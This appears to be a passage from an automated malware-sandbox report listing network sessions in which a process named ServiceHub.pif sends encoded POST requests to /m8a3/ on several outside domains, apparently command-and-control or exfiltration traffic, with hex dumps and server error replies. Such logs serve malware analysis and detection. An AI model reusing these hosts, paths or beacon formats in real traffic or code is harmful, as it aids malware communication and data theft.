36 52 61 39 4c 31 45 58 48 6f 77 54 76 4e 6d 6b 49 48 67 4d 31 4c 48 6e 4e 52 33 61 6e 49 42 6e 4c 4e 34 61 30 37 54 30 32 4e 35 69 34 63 64 44 69 64 4c 32 79 52 44 33 6d 4b 32 2b 5a 7a 4b 4c 43 59 51 6f 44 58 42 36 36 50 41 76 4b 79 32 46 46 4b 4c 4d 45 58 68 66 59 2b 68 2b 5a 66 6e 2f 50 79 64 52 42 74 38 39 4e 77 58 70 73 71 37 54 51 78 78 2f 32 64 70 48 39 32 77 45 62 33 53 4b 44 5a 34 32 52 42 76 58 4c 43 2b 51 35 66 4c 57 78 70 77 33 32 32 32 34 4d 31 70 64 35 4d 74 33 6a 35 52 74 4a 37 51 4e 67 57 31 74 75 61 73 4e 2b 76 65 6a 52 6b 32 2f 77 44 73 4a 71 7a 72 58 7a 78 72 69 75 75 4b 77 64 4a 75 49 4b 48 6a 44 75 64 53 6d 73 71 69 57 6a 5a 54 69 4b 58 39 53 35 79 76 33 65 6a 66 6c 70 6c 7a 51 4d 55 71 56 65 35 53 38 34 2f 69 36 2b 2b 41 37 6a 6b 32 43 41 6d 79 31 43 4a 59 6a 73 51 68 75 2b 33 66 6a 72 51 4a 34 52 36 63 4b 69 79 37 79 67 56 68 6c 32 35 46 4b 64 48 4b 6a 61 69 2b 30 62 4f 6f 74 56 64 46 77 6a 74 78 42 4d 54 6a 6c 67 4f 4e 69 37 7a 75 6b 57 72 55 43 47 72 56 77 31 6c 68 48 4f 4c 65 77 76 2b 66 67 34 74 56 4f 46 77 32 41 57 5a 77 32 45 64 74 52 34 69 70 43 4c 30 66 4e 72 66 68 41 64 66 6b 6a 6b 47 70 49 36 55 35 43 41 33 43 61 59 2f 4a 41 65 6d 36 32 55 52 46 74 39 55 69 33 63 42 53 4f 34 4f 4b 53 58 6c 31 76 50 6b 76 77 4e 4c 36 67 6b 4b 69 49 44 50 36 63 70 33 77 34 56 65 36 71 77 76 57 4f 4a 74 68 2f 32 73 6e 4f 50 51 38 46 55 67 66 55 6f 43 6f 5a 47 43 68 67 61 62 6d 41 66 75 49 33 50 4e 2b 59 35 37 4e 62 59 49 7a 73 65 4c 58 61 39 31 55 4f 78 4e 67 5a 54 76 78 46 33 70 70 65 67 55 50 77 63 54 70 68 72 71 56 42 47 37 32 2b 78 42 37 48 49 34 6a 4d 37 37 72 64 53 4c 75 32 64 41 6b 36 55 61 73 77 58 47 6d 43 48 48 30 54 71 55 5a 77 61 36 41 32 43 4d 62 30 56 66 57 49 61 79 6b 43 39 57 41 63 2b 7a 69 44 6a 49 67 63 4d 6e 6e 73 34 79 43 32 57 56 51 67 46 68 4d 47 34 70 73 6b 79 57 65 79 68 52 43 61 71 6c 43 48 6c 56 49 2f 4a 42 49 69 73 43 7a 58 57 64 43 68 68 34 38 31 44 65 78 34 38 4c 4f 34 50 6d 6b 57 41 63 78 65 33 78 57 70 57 68 58 63 45 57 54 66 69 70 79 34 6a 53 58 55 4e 33 38 6b 4c 31 58 37 39 67 43 78 7a 47 35 4a 62 46 50 6e 37 4a 53 37 6e 30 72 6d 44 5a 76 51 6c 68 58 6d 67 31 49 41 4f 4b 68 38 36 62 6a 76 65 52 4a 43 52 79 78 75 4f 66 4a 4e 64 43 4b 4c 77 30 38 76 56 52 46 59 6e 44 72 5a 4a 70 4e 57 34 77 4b 69 2b 2f 61 39 78 6c 5a 66 66 35 77 34 34 79 4f 4e 7a 55 57 61 33 76 43 2f 34 62 69 2f 70 69 45 6d 62 55 4b 69 63 70 69 49 6a 43 32 51 4b 75 2b 2f 4b 4e 42 70 48 45 45 56 6a 59 67 58 4e 34 70 6f 4c 42 4a 45 56 59 38 61 34 74 57 34 79 35 78 33 67 62 48 59 52 47 6e 75 44 74 34 2b 30 73 33 4e 31 32 53 7a 74 67 2b 35 61 69 6e 4c 37 6b 49 42 33 2f 66 46 52 6a 49 77 6f 32 51 49 45 6a 52 45 79 2f 69 72 6a 46 6f 4d 65 41 30 37 4f 32 6f 38 30 45 33 50 79 46 4a 76 58 62 6d 48 45 32 66 59 75 63 67 79 66 76 58 38 50 2b 75 64 55 4b 73 63 31 58 75 63 2f 6a 5a 68 72 74 59 76 55 65 36 41 52 39 77 75 46 6c 36 4f 61 69 68 4e 53 39 74 6a 5a 30 58 45 59 7a 59 2b 34 68 36 37 42 7a 4e 4d 30 33 6f 53 31 33 32 6d 45 57 52 78 52 41 4c 45 42 71 58 43 6a 34 53 66 46 4a 30 31 59 53 66 61 57 62 79 63 47 53 44 2b 44 30 52 55 46 53 70 71 75 56 70 33 34 69 50 50 4f 79 4a 79 43 56 6b 41 33 39 63 74 63 67 61 5a 48 41 39 37 64 58 4e 53 48 38 62 32 6d 6a 68 2b
                                        Data Ascii: Ur=0jUnytDSIgjwr1JeRBqzhHvvctwmAhpbHGKRCHOsqO6rm8CNLz7rWqPQTH21TJyApfokJc16KGuQZU5naWtJUUhuqH/AIXkl6o9qScNPGLT/AJkdE48Zgab+9mQ1XBXAUAKZWMeBSVPeXouIhDz9YLszBdzjizptHV5InT2y4F3k6RYPIyZtLBUq8bZfibYy4sqmCv6egENmupsc82eeCgDko+8FfNyh8zRrglzVij3DnQ1T2KeiBIAxBA87XivGquLb2U9xKe7FrENuT1CvJpx/D2Qfo+Tf6Ra9L1EXHowTvNmkIHgM1LHnNR3anIBnLN4a07T02N5i4cdDidL2yRD3mK2+ZzKLCYQoDXB66PAvKy2FFKLMEXhfY+h+Zfn/PydRBt89NwXpsq7TQxx/2dpH92wEb3SKDZ42RBvXLC+Q5fLWxpw32224M1pd5Mt3j5RtJ7QNgW1tuasN+vejRk2/wDsJqzrXzxriuuKwdJuIKHjDudSmsqiWjZTiKX9S5yv3ejflplzQMUqVe5S84/i6++A7jk2CAmy1CJYjsQhu+3fjrQJ4R6cKiy7ygVhl25FKdHKjai+0bOotVdFwjtxBMTjlgONi7zukWrUCGrVw1lhHOLewv+fg4tVOFw2AWZw2EdtR4ipCL0fNrfhAdfkjkGpI6U5CA3CaY/JAem62URFt9Ui3cBSO4OKSXl1vPkvwNL6gkKiIDP6cp3w4Ve6qwvWOJth/2snOPQ8FUgfUoCoZGChgabmAfuI3PN+Y57NbYIzseLXa91UOxNgZTvxF3ppegUPwcTphrqVBG72+xB7HI4jM77rdSLu2dAk6UaswXGmCHH0TqUZwa6A2CMb0VfWIaykC9WAc+ziDjIgcMnns4yC2WVQgFhMG4pskyWeyhRCaqlCHlVI/JBIisCzXWdChh481Dex48LO4PmkWAcxe3xWpWhXcEWTfipy4jSXUN38kL1X79gCxzG5JbFPn7JS7n0rmDZvQlhXmg1IAOKh86bjveRJCRyxuOfJNdCKLw08vVRFYnDrZJpNW4wKi+/a9xlZff5w44yONzUWa3vC/4bi/piEmbUKicpiIjC2QKu+/KNBpHEEVjYgXN4poLBJEVY8a4tW4y5x3gbHYRGnuDt4+0s3N12Sztg+5ainL7kIB3/fFRjIwo2QIEjREy/irjFoMeA07O2o80E3PyFJvXbmHE2fYucgyfvX8P+udUKsc1Xuc/jZhrtYvUe6AR9wuFl6OaihNS9tjZ0XEYzY+4h67BzNM03oS132mEWRxRALEBqXCj4SfFJ01YSfaWbycGSD+D0RUFSpquVp34iPPOyJyCVkA39ctcgaZHA97dXNSH8b2mjh+kpEpozW24kWmuLpmGX656xJMzNyno/mhWyrzWC1DPRNHHTnyOK3AqhJdImbnKLh8Ea5wEMFR5BqQCZs6QWWjGbj6JBDJc50kS+Sy16MwgJd1ZydsNw==
                                        Jul 24, 2023 10:31:07.719587088 CEST915INHTTP/1.1 502 Bad Gateway
                                        Date: Mon, 24 Jul 2023 08:31:07 GMT
                                        Content-Type: text/html
                                        Content-Length: 568
                                        Connection: close
                                        Via: HTTP/1.1 SLB.16
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        6192.168.2.5497248.217.57.9180C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:31:10.347817898 CEST916OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.u1uc86.shop
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 183
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.u1uc86.shop
                                        Referer: http://www.u1uc86.shop/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 55 72 3d 30 6a 55 6e 79 74 44 53 49 67 6a 77 72 30 4a 65 51 51 71 7a 69 6e 76 76 50 64 77 6d 5a 78 70 52 48 47 32 5a 43 46 69 47 70 39 61 72 6c 74 79 4e 4b 42 44 72 59 4b 50 54 42 6e 32 78 58 4a 79 4a 70 66 6f 57 4a 64 4a 36 4b 47 4b 51 66 79 39 6e 53 33 74 4b 59 45 68 73 73 48 2b 48 49 58 6f 47 36 76 30 68 53 63 56 50 47 4f 54 2f 53 35 55 64 43 61 55 5a 6c 71 61 33 37 6d 52 31 58 42 54 76 55 45 57 52 57 4a 61 42 53 67 6e 65 57 39 69 49 6d 55 76 39 4b 4c 73 32 49 39 79 6b 69 69 77 38 64 6a 42 4f 75 43 33 42 6b 42 4b 49 33 43 4e 39 56 41 3d 3d
                                        Data Ascii: Ur=0jUnytDSIgjwr0JeQQqzinvvPdwmZxpRHG2ZCFiGp9arltyNKBDrYKPTBn2xXJyJpfoWJdJ6KGKQfy9nS3tKYEhssH+HIXoG6v0hScVPGOT/S5UdCaUZlqa37mR1XBTvUEWRWJaBSgneW9iImUv9KLs2I9ykiiw8djBOuC3BkBKI3CN9VA==
                                        Jul 24, 2023 10:31:10.531601906 CEST917INHTTP/1.1 502 Bad Gateway
                                        Date: Mon, 24 Jul 2023 08:31:10 GMT
                                        Content-Type: text/html
                                        Content-Length: 568
                                        Connection: close
                                        Via: HTTP/1.1 SLB.16
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        7192.168.2.54972591.195.240.6880C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:07.647041082 CEST920OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.blackhawkstickets.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 1484
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.blackhawkstickets.com
                                        Referer: http://www.blackhawkstickets.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 39 47 6a 78 7a 6c 37 61 4c 56 52 31 35 54 5a 6a 51 42 33 5a 44 4f 4f 51 53 69 43 59 74 6f 45 33 38 72 32 4f 4f 4d 54 39 58 44 63 39 57 36 57 41 63 71 37 66 4c 34 44 46 79 65 33 77 48 77 59 53 68 39 77 6a 38 2b 77 6e 42 68 30 5a 5a 6e 4d 59 6d 78 39 4b 64 54 55 36 53 52 6b 35 34 38 6a 34 68 50 38 4f 75 44 67 52 69 55 45 2f 47 2b 4e 51 4e 7a 32 71 46 51 49 38 7a 6e 2f 31 55 5a 57 55 53 46 41 73 7a 41 72 6e 34 44 51 35 34 51 41 36 6b 54 42 4e 34 68 56 41 79 2b 43 72 36 5a 70 51 36 6e 6d 41 51 49 65 31 35 2f 62 55 66 2f 37 4a 4b 65 31 38 77 44 5a 58 6a 71 51 34 4f 76 45 46 4b 2f 6e 74 72 39 52 39 38 42 6a 2f 36 4c 79 61 52 77 4d 41 6d 30 34 55 74 68 64 4c 34 32 42 59 69 36 6c 30 36 48 63 57 78 6a 62 36 63 66 72 78 73 47 2f 62 5a 7a 48 31 43 77 43 44 2b 6a 41 2f 43 5a 6c 6a 72 31 51 4b 69 45 49 6c 71 53 35 6b 61 58 43 6a 70 32 47 6a 58 63 61 69 72 47 32 37 4a 56 2f 2b 6a 4f 68 63 41 54 34 6c 71 54 66 2b 68 69 52 38 4c 37 6d 62 67 33 58 43 74 51 45 76 30 51 69 4d 6d 54 77 62 4a 39 63 36 4d 2f 6b 53 76 6f 2f 43 66 67 65 32 79 65 57 71 67 34 4c 43 59 4f 74 6c 75 34 39 55 78 5a 6e 79 52 58 58 57 4c 5a 36 6a 5a 54 5a 38 50 75 44 45 56 41 6d 34 43 76 44 34 65 46 68 42 72 36 6c 77 36 57 30 30 39 32 66 65 46 6d 46 6b 31 39 6f 74 69 7a 43 4a 59 39 31 78 6c 6c 39 55 5a 69 36 4a 55 57 77 57 49 42 6f 30 4c 57 37 61 6c 6a 37 44 77 50 30 52 51 65 39 57 71 44 35 45 38 30 68 47 73 48 69 51 66 42 6d 36 70 57 47 4d 4b 57 4b 6a 44 63 76 4e 44 69 56 61 70 36 6b 69 6f 54 56 56 63 4c 6e 78 33 64 63 42 4a 72 45 70 6d 54 65 6e 33 73 50 45 4c 2b 51 71 5a 43 58 64 76 57 30 4d 79 4e 61 38 6a 4c 67 71 4a 59 47 75 54 45 56 67 65 66 4e 59 4a 4f 57 5a 6c 74 72 47 51 4c 2b 57 71 69 41 30 4d 58 38 41 42 45 57 4b 4c 4b 2b 54 4d 49 6c 6b 7a 43 36 76 4f 45 51 6c 51 54 67 7a 75 42 66 52 33 35 32 55 54 4d 78 73 41 6a 51 4c 49 62 64 55 61 73 50 76 4f 5a 5a 64 46 78 2f 61 39 4c 33 69 47 47 74 48 4c 49 2b 41 39 35 4a 62 37 62 78 78 62 73 6f 39 78 57 43 76 6a 61 5a 6d 32 52 78 52 70 6b 37 35 4a 69 33 6c 6b 79 7a 4c 7a 68 45 4d 59 67 4d 66 75 43 5a 31 6b 31 6b 6d 72 33 65 55 34 37 56 31 58 7a 41 57 72 6f 5a 66 5a 46 37 46 4a 58 7a 46 4a 33 53 46 6b 62 4a 4e 55 30 2f 6e 66 31 54 78 4f 66 4a 65 4c 74 4a 76 36 6f 63 7a 2f 63 62 59 71 4e 4e 52 33 6f 32 4c 39 49 36 4b 7a 2f 4f 57 53 33 46 37 51 75 6e 37 47 32 61 4f 56 47 4c 5a 77 72 74 56 74 2f 48 62 50 70 49 4f 7a 6d 72 4b 59 46 46 31 6d 75 39 2f 6e 6a 74 57 7a 39 76 41 33 52 59 67 36 35 66 44 31 4d 62 55 59 45 34 46 6a 37 73 6c 2b 6b 68 39 66 6a 42 67 6d 2f 41 75 31 67 6c 7a 58 43 69 56 77 57 4a 6c 31 5a 69 76 7a 47 6c 6b 35 49 4c 6b 54 43 45 52 55 78 33 49 35 6e 37 31 4b 6e 61 52 55 6b 33 6b 7a 69 7a 43 30 35 7a 4a 79 38 37 35 73 79 4c 65 4f 6d 6a 69 61 6a 54 5a 53 71 77 39 38 76 46 78 4a 49 49 66 4d 71 32 78 54 50 47 5a 31 55 77 2b 6c 4b 2f 55 71 37 55 41 4d 38 4b 70 6e 46 6e 6c 70 42 71 79 70 41 54 52 74 7a 67 69 59 4c 69 51 7a 70 34 33 70 4e 36 51 6f 34 30 32 5a 44 76 51 45 70 30 38 45 71 62 6b 49 36 37 67 74 4e 4a 4b 6e 51 63 7a 4c 74 6c 34 61 45 58 49 4a 45 63 72 31 4f 36 50 61 32 4c 33 72 78 74 6c 65 6d 39 43 4c 35 70 34 6c 7a 45 2f 68 6c 5a 59 69 30 4f 56 2b 71 2b 66 42 32 78 4f 48 46 58 4c 65 66 68 73 34 6d 77 76 74 4d 55 45 6a 69 47 33 63 34 39 38 73 6c 62 67 53 43 47 72 6e 6d 55 7a 63 62 5a 36 67 39 53 6d 6f 34 37 2b 70 78 71 33 46 78 4b 68 53 51 59 4c 6f 46 41 52 2b 75 51 50 2f 46 2f 47 74 63 55 43 4b 5a 67 50 50 47 46 30 6c 32 2b 35 6a 2f 57 54 71 34 76 75 5a 45 38 4b 63 47 71 49 57 71 74 6f 36 63 6c 2b 6c 37 4b 63 41 6d 33 34 79 56 55 65 67 6c 57 33 66 5a 77 75 2b 32 6c 4f 6f 72 65 38 53 4c 6d 57 31 4c 2b 73 70 32 7a 6a 53 55 77 31 65 7a 69 54 78 6f 31 6e 6f 56 30 6d 56 6a 74 59 54 4e 63 56 41 41 4a 66 75 77 4f 65 76 6e 6c 41 66 56 51 45 70 51 2b 4a 4a 77 49 42 70 7a 77 51 37 73 66 77 63 34 31 42 4a 30 39 62 59 43 61 31 66 73 37 63 33 39 77 58 5a 61 49 68 71 62 47 47 70 66 68 30 6c 54 70 63 57 64 7a 2f 47 67 6a 45 51 48 4e 7a 66 44 50 49 32 4a 50 2f 5a 73 64 39 61 31 4a 76 68 69 38 6e 48 42 2b 42 76 45 34 30 4f 68 35 73 59 2b 59 41 46 34 33 45 73 41 79 57 6c 45 49 52 78 55 47
                                        Data Ascii: yy9Uwvr=9Gjxzl7aLVR15TZjQB3ZDOOQSiCYtoE38r2OOMT9XDc9W6WAcq7fL4DFye3wHwYSh9wj8+wnBh0ZZnMYmx9KdTU6SRk548j4hP8OuDgRiUE/G+NQNz2qFQI8zn/1UZWUSFAszArn4DQ54QA6kTBN4hVAy+Cr6ZpQ6nmAQIe15/bUf/7JKe18wDZXjqQ4OvEFK/ntr9R98Bj/6LyaRwMAm04UthdL42BYi6l06HcWxjb6cfrxsG/bZzH1CwCD+jA/CZljr1QKiEIlqS5kaXCjp2GjXcairG27JV/+jOhcAT4lqTf+hiR8L7mbg3XCtQEv0QiMmTwbJ9c6M/kSvo/Cfge2yeWqg4LCYOtlu49UxZnyRXXWLZ6jZTZ8PuDEVAm4CvD4eFhBr6lw6W0092feFmFk19otizCJY91xll9UZi6JUWwWIBo0LW7alj7DwP0RQe9WqD5E80hGsHiQfBm6pWGMKWKjDcvNDiVap6kioTVVcLnx3dcBJrEpmTen3sPEL+QqZCXdvW0MyNa8jLgqJYGuTEVgefNYJOWZltrGQL+WqiA0MX8ABEWKLK+TMIlkzC6vOEQlQTgzuBfR352UTMxsAjQLIbdUasPvOZZdFx/a9L3iGGtHLI+A95Jb7bxxbso9xWCvjaZm2RxRpk75Ji3lkyzLzhEMYgMfuCZ1k1kmr3eU47V1XzAWroZfZF7FJXzFJ3SFkbJNU0/nf1TxOfJeLtJv6ocz/cbYqNNR3o2L9I6Kz/OWS3F7Qun7G2aOVGLZwrtVt/HbPpIOzmrKYFF1mu9/njtWz9vA3RYg65fD1MbUYE4Fj7sl+kh9fjBgm/Au1glzXCiVwWJl1ZivzGlk5ILkTCERUx3I5n71KnaRUk3kzizC05zJy875syLeOmjiajTZSqw98vFxJIIfMq2xTPGZ1Uw+lK/Uq7UAM8KpnFnlpBqypATRtzgiYLiQzp43pN6Qo402ZDvQEp08EqbkI67gtNJKnQczLtl4aEXIJEcr1O6Pa2L3rxtlem9CL5p4lzE/hlZYi0OV+q+fB2xOHFXLefhs4mwvtMUEjiG3c498slbgSCGrnmUzcbZ6g9Smo47+pxq3FxKhSQYLoFAR+uQP/F/GtcUCKZgPPGF0l2+5j/WTq4vuZE8KcGqIWqto6cl+l7KcAm34yVUeglW3fZwu+2lOore8SLmW1L+sp2zjSUw1eziTxo1noV0mVjtYTNcVAAJfuwOevnlAfVQEpQ+JJwIBpzwQ7sfwc41BJ09bYCa1fs7c39wXZaIhqbGGpfh0lTpcWdz/GgjEQHNzfDPI2JP/Zsd9a1Jvhi8nHB+BvE40Oh5sY+YAF43EsAyWlEIRxUGqV3v9De57mT1KV0X8jyOmDlJ4IIWKjQRpeD+Ll6s3MLMfAKp87/BaTw+gv0NANawy+Ibldz/K6z67IUBB//0Vmc+kgyCue/dxKRNApeFMo8bxLVZ1xp3rvg==
                                        Jul 24, 2023 10:32:07.665931940 CEST921INHTTP/1.1 403 Forbidden
                                        date: Mon, 24 Jul 2023 08:32:07 GMT
                                        content-type: text/html
                                        transfer-encoding: chunked
                                        vary: Accept-Encoding
                                        server: NginX
                                        content-encoding: gzip
                                        connection: close
                                        Data Raw: 41 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 3d 0a 02 31 10 85 7b c1 3b 8c 07 08 51 b4 1c d2 88 82 85 95 27 48 9c 71 13 c8 26 cb 6c 9a dc de ac ee 82 58 5b 5a 0d f3 7e 3e 1e fa d2 47 b3 5e a1 67 4b 06 4b 28 91 cd 61 bb 87 73 16 17 88 38 a1 7e 8b a8 5f 91 16 75 99 ea 74 ef 9c 0a 8b 41 bf fb 6e 34 05 f5 6c 4f ec 16 9a bf 3c 70 12 1e 4b fd f4 f5 42 d4 cb 9a 8d 52 60 61 b0 44 21 75 50 32 50 18 ad 8b 0c d7 db e5 04 36 11 1c bd e4 9e e1 21 81 13 c5 0a 2c 92 a5 35 3a 06 a5 fe 88 5f 23 9e 4e 40 05 2c 28 02 00 00 0d 0a 30 0d 0a 0d 0a
                                        Data Ascii: A7=1{;Q'Hq&lX[Z~>G^gKK(as8~_utAn4lO<pKBR`aD!uP2P6!,5:_#N@,(0


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        8192.168.2.54972691.195.240.6880C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:10.195727110 CEST922OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.blackhawkstickets.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 188
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.blackhawkstickets.com
                                        Referer: http://www.blackhawkstickets.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 39 47 6a 78 7a 6c 37 61 4c 56 52 31 35 51 64 6a 52 51 33 5a 5a 75 4f 51 65 43 43 59 30 34 45 78 38 72 36 47 4f 4f 2b 67 58 77 73 39 57 50 79 41 63 35 54 66 4f 34 44 47 72 75 33 30 61 67 5a 57 68 39 77 42 38 2f 63 6e 42 68 77 5a 61 43 41 59 7a 6c 68 4e 56 44 55 34 66 78 6b 30 34 38 2f 69 68 50 67 6b 75 44 49 52 69 53 45 2f 48 2b 64 51 4c 52 65 71 56 77 49 2b 31 6e 2f 45 55 5a 62 63 53 45 77 30 7a 42 58 6e 37 79 38 35 35 43 49 36 67 45 74 4e 78 42 56 42 34 65 44 75 78 49 59 4d 2b 6b 43 55 47 35 44 53 6f 2b 69 78 52 4d 69 59 57 41 3d 3d
                                        Data Ascii: yy9Uwvr=9Gjxzl7aLVR15QdjRQ3ZZuOQeCCY04Ex8r6GOO+gXws9WPyAc5TfO4DGru30agZWh9wB8/cnBhwZaCAYzlhNVDU4fxk048/ihPgkuDIRiSE/H+dQLReqVwI+1n/EUZbcSEw0zBXn7y855CI6gEtNxBVB4eDuxIYM+kCUG5DSo+ixRMiYWA==
                                        Jul 24, 2023 10:32:10.214776039 CEST922INHTTP/1.1 403 Forbidden
                                        date: Mon, 24 Jul 2023 08:32:10 GMT
                                        content-type: text/html
                                        transfer-encoding: chunked
                                        vary: Accept-Encoding
                                        server: NginX
